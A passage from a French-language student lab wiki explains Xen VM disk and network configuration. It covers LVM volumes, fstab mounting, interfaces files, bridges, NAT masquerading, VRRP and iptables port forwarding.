* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter nos volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher nos volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; Xen → aux interfaces &amp;lt;code&amp;gt;ethX&amp;lt;/code&amp;gt; dans la VM ===&lt;br /&gt;
&lt;br /&gt;
==== Côté Xen (Dom0) : tu déclares des VIF ====&lt;br /&gt;
Dans le fichier de config Xen de ta VM, tu as un truc du style :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Interprétation :'''&lt;br /&gt;
&lt;br /&gt;
* Tu crées '''2 cartes réseau virtuelles''' (2 VIF) pour la VM.&lt;br /&gt;
* Chaque VIF :&lt;br /&gt;
** a une '''MAC''' (pour l’identifier)&lt;br /&gt;
** est branchée sur un '''bridge''' Xen/Linux (un switch virtuel)&lt;br /&gt;
&lt;br /&gt;
Donc en mode “câblage” :&lt;br /&gt;
&lt;br /&gt;
* VIF #1 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
* VIF #2 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Dans la VM (DomU) : ces VIF apparaissent comme &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, … ====&lt;br /&gt;
Quand la VM boot :&lt;br /&gt;
&lt;br /&gt;
* Xen “présente” ces VIF à l’OS invité&lt;br /&gt;
* l’OS les voit comme des interfaces réseau classiques&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* '''la 1ère VIF''' devient &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''la 2ème VIF''' devient &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; ou des noms type &amp;lt;code&amp;gt;ens3&amp;lt;/code&amp;gt;), mais '''dans ton TP tu es bien sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;''', donc on garde ça.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
ip addr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Tu verras &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; et leurs MAC. Tu peux matcher avec celles du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Le bridge Xen = “le switch” auquel la carte est connectée ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=pont_Gercourt&amp;lt;/code&amp;gt; : réseau '''privé IPv4''' entre nos VMs (commutateur virtuel interne)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;) : réseau '''public / infra école / Internet'''&lt;br /&gt;
&lt;br /&gt;
Donc, si ta VM a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt; → elle est sur le réseau privé&lt;br /&gt;
* &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; → elle est sur le réseau public&lt;br /&gt;
&lt;br /&gt;
C’est exactement pour ça que dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; tu mets :&lt;br /&gt;
&lt;br /&gt;
* IPv4 privé sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* IPv6 (direct) sur &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que tu mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* nos machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si tu mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* tu forces l’utilisation d’un routeur précis&lt;br /&gt;
* tu perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
=== MASCARED D'IP ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème ====&lt;br /&gt;
VM de service sont en '''IPv4 privé''' (ex: &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Ces adresses '''ne sont pas routables sur Internet''' (elles n’existent pas “officiellement” sur le réseau public).&lt;br /&gt;
&lt;br /&gt;
Donc si une VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; envoie un paquet vers Internet (ex: &amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;), le monde extérieur ne peut pas répondre directement à &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → c’est une adresse privée.&lt;br /&gt;
&lt;br /&gt;
'''La solution : NAT sortant (Masquerade)'''&lt;br /&gt;
&lt;br /&gt;
La machine '''mandataire''' (Rosemonde dans mon cas) joue le rôle de '''gateway NAT''' :&lt;br /&gt;
&lt;br /&gt;
* '''En interne''' : les services parlent en &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''En externe''' : le mandataire remplace l’IP source par '''son IP publique''' (ex: &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc vu depuis Internet, tout semble venir de &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; :&amp;lt;blockquote&amp;gt;“Quand un paquet sort vers Internet depuis le réseau privé, réécris son IP source avec l’IP publique du mandataire.”&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
Le NAT n’est pas “juste une règle”. Ça marche avec un système d’état appelé '''conntrack''' (suivi de connexions).&lt;br /&gt;
&lt;br /&gt;
Exemple : la VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; fait un &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt; vers un serveur public &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La VM envoie :&lt;br /&gt;
&lt;br /&gt;
* source = &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
* destination = &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;&lt;br /&gt;
Le mandataire applique &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; en sortie (POSTROUTING) :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt; (port éventuellement modifié)&lt;br /&gt;
Le mandataire enregistre une “table de correspondance” (conntrack) :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt; ↔ &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;&lt;br /&gt;
Quand la réponse revient de &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt; vers &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;,  le mandataire “dé-NAT” automatiquement et renvoie vers :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le NAT permet à '''plusieurs machines privées''' de partager '''une seule IPv4 publique''' grâce à :&lt;br /&gt;
&lt;br /&gt;
* réécriture d’IP&lt;br /&gt;
* réécriture de ports (PAT)&lt;br /&gt;
* suivi d’état (conntrack)&lt;br /&gt;
&lt;br /&gt;
==== Lire un fichier iptables &amp;lt;code&amp;gt;/etc/iptables/rules.v4&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generated by iptables-save v1.8.9 (nf_tables) on Thu Jan 22 18:31:33 2026&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
COMMIT&lt;br /&gt;
# Completed on Thu Jan 22 18:31:33 2026&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
...&lt;br /&gt;
COMMIT&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Les chaînes (ultra important)'''&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : NAT fait ''avant'' que Linux décide où router le paquet  → typiquement '''DNAT''' (port forwarding)&lt;br /&gt;
* '''POSTROUTING''' : NAT fait ''juste avant'' que le paquet sorte sur une interface  → typiquement '''SNAT/MASQUERADE''' (NAT sortant)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ça veut dire :&lt;br /&gt;
&lt;br /&gt;
* Si quelqu’un sur Internet fait :&lt;br /&gt;
